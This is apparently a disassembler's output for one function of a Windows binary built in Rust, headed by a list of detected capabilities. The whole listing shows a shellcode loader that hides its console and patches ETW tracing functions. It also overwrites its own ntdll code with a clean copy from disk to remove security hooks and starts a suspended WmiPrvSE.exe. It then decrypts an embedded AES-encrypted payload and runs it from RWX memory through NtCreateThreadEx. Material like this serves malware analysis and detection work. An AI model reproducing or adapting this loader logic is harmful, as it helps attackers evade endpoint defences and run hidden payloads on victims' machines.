Function at 0x140001b90
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Hide graphical window
Inject thread
Link many functions at runtime
Patch event tracing for windows function
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x2c8
call sub.KERNEL32.dll_GetConsoleWindow
mov rsi, rax
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
xor r9d, r9d
call sub.USER32.dll_SetWindowPos
lea rcx, [0x140120c44]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x140120c97]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
xorps xmm0, xmm0
movaps xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], 0
movaps xmmword [rsp + 0xe0], xmm0
movaps xmmword [rsp + 0x140], xmm0
movaps xmmword [rsp + 0x130], xmm0
movaps xmmword [rsp + 0x120], xmm0
movaps xmmword [rsp + 0x110], xmm0
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0xf0], xmm0
mov dword [rsp + 0xe0], 0x70
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.WmiPrvSE.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
mov rsi, qword [rsp + 0x80]
call sym.winproc::process::Process::current::hfe0a545f8eb3345d
mov qword [rsp + 0xb8], rax
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0xb8]
call sym.winproc::process::Process::module_list::hb4a02bb97abebed7
mov qword [rsp + 0x60], rsi
cmp dword [rsp + 0x80], 4
jne 0x1400026a3
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xd8], rax
mov rdi, qword [rsp + 0x98]
test rdi, rdi
je 0x140001eea
shl rdi, 4
xor ebx, ebx
lea rbp, [rsp + 0x68]
mov r14, qword [0x1401595c8]
movabs r13, 0x6c642e6c6c64746e
jmp 0x140001dfd
add rbx, 0x10
cmp rdi, rbx
je 0x140001eea
mov rax, qword [rsp + 0xb0]
movups xmm0, xmmword [rax + rbx]
movaps xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0xc0]
call sym.winproc::process::module::Module::name::h11064cff2c341aef
cmp dword [rsp + 0x80], 4
jne 0x140002602
mov r12, qword [rsp + 0x88]
mov r15, qword [rsp + 0x90]
mov r8, qword [rsp + 0x98]
mov rcx, rbp
mov rdx, r12
call dbg.to_lowercase
movzx eax, byte [r14]
mov ecx, 9
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x140002663
mov qword [rax], r13
mov byte [rax + 8], 0x6c
mov rsi, qword [rsp + 0x68]
cmp qword [rsp + 0x78], 9
jne 0x140001ea0
mov rcx, qword [rsi]
xor rcx, qword [rax]
movzx edx, byte [rsi + 8]
xor dl, byte [rax + 8]
movzx edx, dl
or rdx, rcx
je 0x140001f23
mov edx, 9
mov r8d, 1
mov rcx, rax
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x140001ecb
mov r8d, 1
mov rcx, rsi
call sym.__rust_dealloc
test r15, r15
je 0x140001df0
mov r8d, 1
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
jmp 0x140001df0
mov rdx, qword [rsp + 0xd8]
test rdx, rdx
je 0x140001f0e
shl rdx, 4
mov r8d, 8
mov rcx, qword [rsp + 0xb0]
call sym.__rust_dealloc
lea rcx, [rsp + 0xb8]
call sym.__winproc::handle::Handle_as_core::ops::drop::Drop_::drop::h6a5533b32850a722
xor r14d, r14d
jmp 0x140001fa8
mov edx, 9
mov r8d, 1
mov rcx, rax
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x140001f4e
mov r8d, 1
mov rcx, rsi
call sym.__rust_dealloc
test r15, r15
mov rsi, qword [rsp + 0xd8]
je 0x140001f6c
mov r8d, 1
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
lea rcx, [rsp + 0xc0]
call sym.winproc::process::module::Module::handle::h70a349dc3ba7d3e1
mov r14, rax
test rsi, rsi
je 0x140001f9b
shl rsi, 4
mov r8d, 8
mov rcx, qword [rsp + 0xb0]
mov rdx, rsi
call sym.__rust_dealloc
lea rcx, [rsp + 0xb8]
call sym.__winproc::handle::Handle_as_core::ops::drop::Drop_::drop::h6a5533b32850a722
lea rdx, str.C:WindowsSystem32_ntdll.dll0x
lea rcx, [rsp + 0xe0]
mov r8d, 0x1d
call sym.pelite::mmap::windows::ImageMap::_open::he46ea7e25dcce403
cmp qword [rsp + 0xe0], 0
je 0x14000202f
mov rax, qword [rsp + 0xe8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140002140
test rcx, rcx
je 0x140002140
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x140002017
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call sym.__rust_dealloc
mov edx, 0x18
mov r8d, 8
mov rcx, rsi
call sym.__rust_dealloc
jmp 0x140002140
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0x80]
call sym.__pelite::mmap::windows::FileMap_as_core::convert::AsRef__u8___::as_ref::h41a0be912e15fa42
mov rdi, rax
mov rbx, rdx
mov rcx, rax
call sym.pelite::pe64::pe::validate_headers::h3aee45de214c584f
test al, 1
jne 0x1400027ed
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x68]
call sym.__pelite::pe64::view::PeView_as_pelite::pe64::pe::PeObject_::image::hd07ca3250af892ca
mov rcx, rax
call sym.pelite::pe32::pe::section_headers::h25ebf423c60a39a2
add rax, 0xffffffffffffffd8
shl rdx, 3
lea rcx, [rdx + rdx*4]
movabs rdx, 0x747865742e
nop word cs:[rax + rax]
test rcx, rcx
je 0x140002677
lea r15, [rax + 0x28]
add rcx, 0xffffffffffffffd8
cmp qword [rax + 0x28], rdx
mov rax, r15
jne 0x1400020b0
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x68]
call sym.__pelite::pe64::view::PeView_as_pelite::pe64::pe::PeObject_::image::hd07ca3250af892ca
mov rsi, rax
mov rbx, rdx
lea rdi, [rsp + 0x68]
mov rcx, rdi
call sym.__pelite::pe64::view::PeView_as_pelite::pe64::pe::PeObject_::align::hf64b94dcacbe934b
mov byte [rsp + 0x20], al
lea rcx, [rsp + 0xc0]
mov rdx, rsi
mov r8, rbx
mov r9, r15
call sym.pelite::wrap::pe::get_section_bytes::had91bb6f8752df09
cmp qword [rsp + 0xc0], 0
je 0x14000280b
mov eax, dword [r15 + 8]
mov ecx, dword [r15 + 0xc]
add r14, rcx
mov qword [0x14016e030], rax
mov qword [0x14016e038], r14
lea rcx, [rsp + 0x80]
call sym.__pelite::mmap::windows::FileMap_as_core::ops::drop::Drop_::drop::hdeefa56fbc022fc1
lea rax, [0x14016e038]
mov qword [rsp + 0x68], rax
lea rax, [sym.core::fmt::num::__impl_core::fmt::LowerHex_for_i64_::fmt::h4dfd299e1b1b0ca7]
mov qword [rsp + 0x70], rax
lea rax, [0x140120cc8]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0xe0]
call dbg.format_inner
mov rbx, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x88]
mov r15, qword [0x14016e030]
mov r12d, 4
test r15, r15
je 0x140002202
mov rax, r15
shr rax, 0x3d
jne 0x1400027d7
lea rsi, [r15*4]
test rsi, rsi
je 0x140002202
mov edx, 4
mov rcx, rsi
call sym.__rust_alloc_zeroed
mov r12, rax
test rax, rax
je 0x1400027de
mov rdx, qword [0x14016e038]
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x60]
mov r8, r12
mov r9, r15
call sub.ntdll.dll_NtReadVirtualMemory
test eax, eax
jne 0x140002694
mov rdx, qword [0x14016e038]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, r12
mov r9, r15
call sub.KERNEL32.dll_WriteProcessMemory
cmp eax, 1
jne 0x140002694
test r15, r15
je 0x14000226f
shl r15, 2
mov r8d, 4
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
test rdi, rdi
je 0x140002285
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
lea rcx, [0x140120c44]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x140120c97]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, section..data
lea rcx, [rsp + 0xe0]
mov r8d, 1
call sym.base64::decode::decode_config::h7eef7a0ae983dd46
mov rsi, qword [rsp + 0xe0]
test rsi, rsi
je 0x140002704
mov rdi, qword [rsp + 0xe8]
mov r15, qword [rsp + 0xf0]
lea rdx, [0x1400de010]
lea rcx, [rsp + 0xe0]
mov r8d, 1
mov qword [rsp + 0xb0], rdi
call sym.base64::decode::decode_config::h7eef7a0ae983dd46
mov r12, qword [rsp + 0xe0]
test r12, r12
je 0x140002742
mov r13, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
lea rdx, [0x1400de020]
lea rcx, [rsp + 0xe0]
mov r8d, 1
call sym.base64::decode::decode_config::h7eef7a0ae983dd46
mov rbp, qword [rsp + 0xe0]
test rbp, rbp
je 0x140002783
mov r14, qword [rsp + 0xe8]
mov rbx, qword [rsp + 0xf0]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x80], xmm0
cmp rdi, 0x20
jne 0x1400027c1
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x80]
call sym.libaes::Cipher::new_256::h01d65a18198593a5
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0xe0]
mov r8, rbp
mov r9, rbx
call sym.libaes::Cipher::cbc_decrypt::hfea1e3e535ffa313
mov r15, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
test r14, r14
je 0x1400024a8
mov r8d, 1
mov rcx, rbp
mov rdx, r14
call sym.__rust_dealloc
test r13, r13
je 0x1400024be
mov r8d, 1
mov rcx, r12
mov rdx, r13
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xb0]
test rdx, rdx
je 0x1400024d9
mov r8d, 1
mov rcx, rsi
call sym.__rust_dealloc
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x80], rdi
mov dword [rsp + 0xc0], 0
mov qword [rsp + 0xe0], rdi
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x68]
lea r9, [rsp + 0xe0]
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call sub.ntdll.dll_NtAllocateVirtualMemory
mov rdx, qword [rsp + 0x68]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, r15
mov r9, rdi
call sub.ntdll.dll_NtWriteVirtualMemory
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x68]
lea r8, [rsp + 0x80]
mov rcx, 0xffffffffffffffff
mov r9d, 0x20
call sub.ntdll.dll_NtProtectVirtualMemory
mov qword [rsp + 0xe0], 0
mov rax, qword [rsp + 0x68]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0xe0]
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call sub.ntdll.dll_NtCreateThreadEx
mov rcx, qword [rsp + 0xe0]
xor edx, edx
xor r8d, r8d
call sub.ntdll.dll_NtWaitForSingleObject
test rbx, rbx
je 0x1400025ed
mov r8d, 1
mov rcx, r15
mov rdx, rbx
call sym.__rust_dealloc
nop
add rsp, 0x2c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x100], rax
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x140120d80]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400df050]
lea r9, sym.core::ptr::drop_in_place_winproc::errors::Error_::hffc7d7e29ada6b63
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x14000283e
mov ecx, 1
mov edx, 9
call dbg.handle_alloc_error
jmp 0x14000283e
lea rcx, [0x140120d08]
lea r8, [0x140120d38]
mov edx, 0x2b
call dbg.panic
jmp 0x14000283e
mov ecx, 1
call dbg.exit
jmp 0x14000283e
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x100], rax
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x140120d68]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400df050]
lea r9, sym.core::ptr::drop_in_place_winproc::errors::Error_::hffc7d7e29ada6b63
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x14000283e
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0x80], xmm0
lea rax, [0x140120d98]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400df050]
lea r9, sym.core::ptr::drop_in_place_base64::decode::DecodeError_::h9e4b43b7e9062abd
lea r8, [rsp + 0x80]
mov edx, 0x2b
call dbg.unwrap_failed
ud2
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0x80], xmm0
lea rax, [0x140120db0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400df050]
lea r9, sym.core::ptr::drop_in_place_base64::decode::DecodeError_::h9e4b43b7e9062abd
lea r8, [rsp + 0x80]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x14000283e
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0x80], xmm0
lea rax, [0x140120dc8]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400df050]
lea r9, sym.core::ptr::drop_in_place_base64::decode::DecodeError_::h9e4b43b7e9062abd
lea r8, [rsp + 0x80]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x14000283e
lea r8, [0x140120de0]
mov ecx, 0x20
mov rdx, rdi
call dbg.len_mismatch_fail
jmp 0x14000283e
call dbg.capacity_overflow
jmp 0x14000283e
mov ecx, 4
mov rdx, rsi
call dbg.handle_alloc_error
jmp 0x14000283e
mov byte [rsp + 0x68], ah
lea rax, [0x140120cf0]
lea rdi, [rsp + 0x68]
mov edx, 6
lea rcx, str.REASONsrc_main.rs
jmp 0x14000282a
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x68], al
lea rax, [0x140120d50]
mov edx, 0x2b
lea rcx, [0x1400df050]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_pelite::error::Error_::hfb43951b3fbfd23e
mov r8, rdi
call dbg.unwrap_failed
ud2